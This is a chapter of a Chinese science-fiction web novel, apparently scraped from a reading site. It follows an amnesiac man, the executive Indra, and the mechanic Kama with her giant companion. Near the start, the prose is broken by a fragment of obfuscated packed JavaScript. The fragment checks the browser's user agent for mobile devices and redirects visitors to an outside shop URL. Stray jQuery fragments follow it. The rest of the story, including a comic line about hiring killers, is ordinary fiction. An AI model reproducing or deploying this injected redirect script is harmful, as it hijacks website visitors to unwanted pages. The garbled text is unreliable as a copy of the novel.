……截至昨天全球各地累计发生的不明机械体目击事件累计达六千余件,统计结果显示,在本月十六日不明机械体的出现频率达到顶峰后,全球观测记录便急剧下降,近日发生的全部十六起目击事件经过证实均为错误判断或恶作剧…… ……这些谜一般的机械体究竟来自哪里?它们想做什么?究竟是群体行动还是各自独立?为何它们突然在世界各地出现,又为何一下子销声匿迹?关于这些问题已经有了太多的疑问和争论,今天我们请到了异常生物研究所的泰米尔·泽诺博士和地球安全总局负责人科恩·斯比亚上将来和大家一起探讨…… 男人用手臂支起上身,被单滑落,他注意到了自己胸前的莲花纹身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363301|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“您醒了?” 身后传来了一个女人的声音。 他转过身,望着面前的女人。 “你是谁?” “我叫丽亚。”女人答道,“这栋别墅的管家,同时也是您的私人助理。” 他点了点头,开始着装。 “下午三点,您要和世界集团的执行长官因陀罗·雷先生和世界集团的首席科技官希格玛先生见面,地点安排在帕罗戴斯大酒店,届时德卡先生会为您备车——您需要沐浴后用早餐吗?” “因陀罗……”男人木然地重复着那几个名字,“希格玛……德卡……” 这些名字他似乎在哪里听过,他敢肯定这些名字所代表的都是他熟知的人,然而此时他无法把它们与自己脑海里特征的脸对上号。 见他蹙着眉,似乎在苦苦思索着什么,丽亚轻轻地叹了口气。 “您……又有些事情记不起来了,对吗?” 好像在什么地方,也有人曾对他说过同样的话。 男人觉得自己似乎忘记了一些事。 他似乎忘记了很多事。 “哇咧!——” 世界集团临时总部顶层的办公室里,一个魁梧壮硕的巨人正大发雷霆。 “什么叫说不好?瓦杰拉的人不是拍着胸部打保票说我的楼最慢一个月就能修好的吗?!这里的办公室又破又小,没有游泳池和桑拿浴室也就算了,连台跑步机都放不下!机器又慢网络又差我已经受不了啦!” 一干高级主管们个个满头大汗不敢吱声。 “还有,那帮成天吃饱了没事干打着牌子游行示威的蠢货们,赶紧叫警察局多派点人把他们轰走!居然说我反人类,我成天穿西装系领带坐办公室赚的都是血汗钱哇!听到没有!要是还闹事就去找毗沙门财团的人,派些杀手什么的把那帮家伙统统弄死算了,手脚干净点,还有,千万别让别人知道是我指使的!” “……” “你们一个两个都是什么表情?难道我说得不对吗?!你们是不是对我坐这个位置有什么意见?有意见的话就说出来!做得不对的地方我会改正的!我可有言在先,要是你们当中有谁敢学上次那个老贼秃偷偷跟董事会塞条子企图弹劾我,我就拧断你们的脖子,听到没有?!” “……” 世界集团的最高执行长官因陀罗·雷怒发冲冠,整栋大楼都听得到他的雷霆咆哮,女员工们个个被吓得两眼含泪,男员工们全都噤若寒蝉。 “伙计们,尾巴都夹紧点儿。”世界集团的安全总管愁眉苦脸地对他的手下说,“这几天头儿心情不好哩。” “唉。”一群虎背熊腰的保全垂头丧气,活像一群受委屈的小媳妇。 因陀罗挥了挥手,那群高级主管们如释重负,赶紧打了招呼关掉影音传输抱头鼠窜,偌大的办公室里只剩下了两个人。 “你很闲的样子啊,持国天大人!”因陀罗的鼻孔扑哧扑哧地喷气。 “魔王被打倒,世界幸免于难,现在正是要努力歌颂爱与和平的时候。”希格玛翘着腿慢条斯理地说,“你这么大吼大叫的吓唬人,真是太不和谐了。” 因陀罗咯吱咯吱地磨牙,逼近那位从来便无视他威严的首席科技官。 “你瞧,我给你带了好东西。”希格玛变戏法似的从身后摸出一个精致的盒子,笑眯眯地说,“冰淇淋中的贵族——哲卡皇家系列。” 咣当一声,因陀罗手里的电脑掉到地上。 “草莓味。”希格玛问,“要不要吃?” “要——”因陀罗眼巴巴地望着希格玛手中的盒子,像一只可怜的巨型狗狗。 “哦,对了。”希格玛说。 “什么?”因陀罗全部的注意力都集中在美味的冰淇淋上。 “那个在阿什提贫民区出没的黑工,已经找到了。” “是吗。”因陀罗敷衍地应着,突然他跳起来抓住希格玛,“你找到她了?” “是的。”希格玛打了个响指,显示屏上陆续出现资料。 “她和一个叫伊诺的机械师是搭档,开着一辆经过改造的货柜卡车,在贫民区从事各种无执照的人造人体维修,她最后一次现身是第六十八贫民区的一家小旅店里,帮旅店的老板换了一条腿,我们的人正二十四小时跟踪她。” “那还等什么?赶紧把她捉住!这么优秀的机械师居然躲在暗无天日的贫民区里做黑工,还掌握了只有你才熟知的第八代系统的细节,要是被□□先找到她就糟啦……要是她愿意来世界集团就职,我愿意给十倍军饷!”因陀罗吃了口冰淇淋,歪着脑袋想了想,补充道,“至少!” “她的安全问题并不用你操心。”希格玛说,“她身边有一个很厉害的大个子保镖。” “保镖?大个子?”因陀罗瞪着他,“个子比我还大?” “就掌握的资料来看,比你只大不小。”希格玛笑道,“他和那个女孩之间的关系,似乎并不完全像保镖和雇主,倒是……” “倒是什么?” “倒是比较像恋人。” 因陀罗差点没把勺子吞下去。 沉闷的雷声隆隆作响,卡玛望着灰蒙蒙的天,云层间不时地迸出闪电。 雨季来了。 一个顾客正在跟伊诺聊天。 “你知道吗,我老婆昨天生了!双胞胎,都是儿子!” “哗,那可真是恭喜了。”伊诺一边修复表层组织一边说。 如今上层区已经很少有经过正常分娩而降生的婴儿了,贫民区有,但由于环境污染、滥用药物等问题,新生儿即使顺利降生夭折的可能也很大——当然伊诺不会对那位顾客说这些扫兴的话。 “哭声响亮,蛋蛋都很大!”刚做父亲的人喜笑颜开,“唔,我跟老婆商量后,决定给哥哥取名叫库巴,弟弟取名叫那塔!” “好名字呀。”伊诺取下护目镜,“弄好了。” “太谢谢啦,这些请收下——” “更换零部件只收成本费用,老顾客可以免费。”伊诺拍了拍对方的肩膀。 顾客离去后,伊诺走到卡玛身边,用手在她眼前晃了晃。 “嗨,回魂了,该收工了。”伊诺说,“乌云闪电有什么好看的——” “右边五点的位置。”卡玛低声说,“有个人一直在看着这边。” 伊诺望着黑压压的云。 “是□□的人?又来请你帮他们老大修脑袋了?” “好像跟前几次来的人不一样。”卡玛轻轻地摇了摇头,“我好像……我好像在哪里见过他。” 那个人戴着墨镜,黑色的风衣衬着他高大的身形和宽阔的肩膀,胸前淡金色的细长飘带随风摇曳,雨水溅到黑色的皮靴上,他打着一把样式特别的伞,默默地站在雨中。 他的衣着和气质看起来完全不像是贫民区的人,但也与上层区的居民迥异。 他像雕塑一般站在那里,雨幕令他的身影有些虚幻,似乎随时都会消失。 卡玛已经注意到他很久了,她一直背对着他,利用护目镜的后视功能观察他。 伞的阴影遮挡着他的脸,她看不清他的表情。 沉重的脚步声响起,一个巨大的阴影笼罩住肩并肩“形同亲密”的两人,二话不说一手一个把他们拎到手里。 “哇!”伊诺大叫。 “放我下来!你这个大铁疙瘩!”卡玛踢他。 阿汉板着脸,拎着他们走向货柜卡车,雨滴在他的皮夹克上,啪嗒作响。 “我明天就自己找活干!不会破坏你们的二人世界!”伊诺哇哇大叫。 阿汉一言不发地拉开货柜门,把伊诺塞进去。 “不公平!这辆卡车平时都是我维护保养的!”伊诺还企图为自己争取权益,“我起码也要坐副驾驶座,不要呆在货柜里——” 砰的一声,阿汉拉上了门。 卡玛见那巨人朝自己走来,赶紧乖乖地跳进驾驶舱,她不想像伊诺一样被阿汉丢来丢去。 阿汉把她丢到副驾驶的位置上,自己坐进了卡车里。 但他并没有立即发动车子,而是翻出条大毛巾,把卡玛逮到自己怀里,替她擦干被浸湿的头发。 “怎么了?”他突然问,低沉的嗓音充斥着驾驶舱。 “那个人……” 卡玛出神地望着车窗外。 “你看到他了吗?” 阿汉点了点头。 “他看起来……”卡玛轻声说,“好像很寂寞呢。” “完美的人,都是寂寞的。” 阿汉打着了引擎。 目睹那辆货柜卡车远去,男人抬头望向天空。 他身边的景物瞬息万变,一眨眼的功夫,他已经从泥泞的贫民区,来到了这个城市的最高点,世界大厦的顶端。 维修工程并没有因为下雨而暂停,星星点点的工程灯在雨中变得朦胧,他能听到脚下轰隆轰隆的机械声和扩音器里传出的人声。 他不知道自己为什么要去贫民区,也不知道自己为什么要在那里待那么久。 那个女孩的头发又长出来了,短短薄薄的一层,让人忍不住想伸手摸摸。 那个沉默的巨人依然不苟言笑,但他和女孩之间很亲昵。 男人总觉得自己在哪里遇到过他们。 他似乎曾经和他们一起经历了很多事。 但无论他怎么努力,都想不起来了。 他甚至记不清他们是谁。 因陀罗忧心忡忡地望着他,而希格玛则拍着他的肩说: 这样的结局正是你所期望的吧。 是他所期望的吗? 也许是吧? 看着因陀罗在办公室里大呼小叫,看着希格玛对他连哄带骗,看着德卡和一群出生入死的兄弟们兴高采烈地玩赌博机…… 看着那女孩对着阴沉的天空入神,看着那巨人用大手轻轻地揉着她的短发…… 男人有一种奇妙的安心。 他一定曾经做过些什么,虽然记不太清楚了,但他知道那一定是值得的。 他匆匆来到这个令人眼花缭乱的世界,所发生的一切都像是一场梦。 而他,就是梦中的旅人,一闪而逝的过客。 吱吱—— 男人笑着对趴在自己肩膀上的银貂说: “好像……最后留在我身边的,只有你这个小家伙了。” 银貂吱吱地叫着,用湿润的鼻头轻轻地拱着男人的脖子。 世界大厦的顶端忽然出现了一道狭长的虹。 “我们走吧。” 男人踏着七彩光晕,步向天空。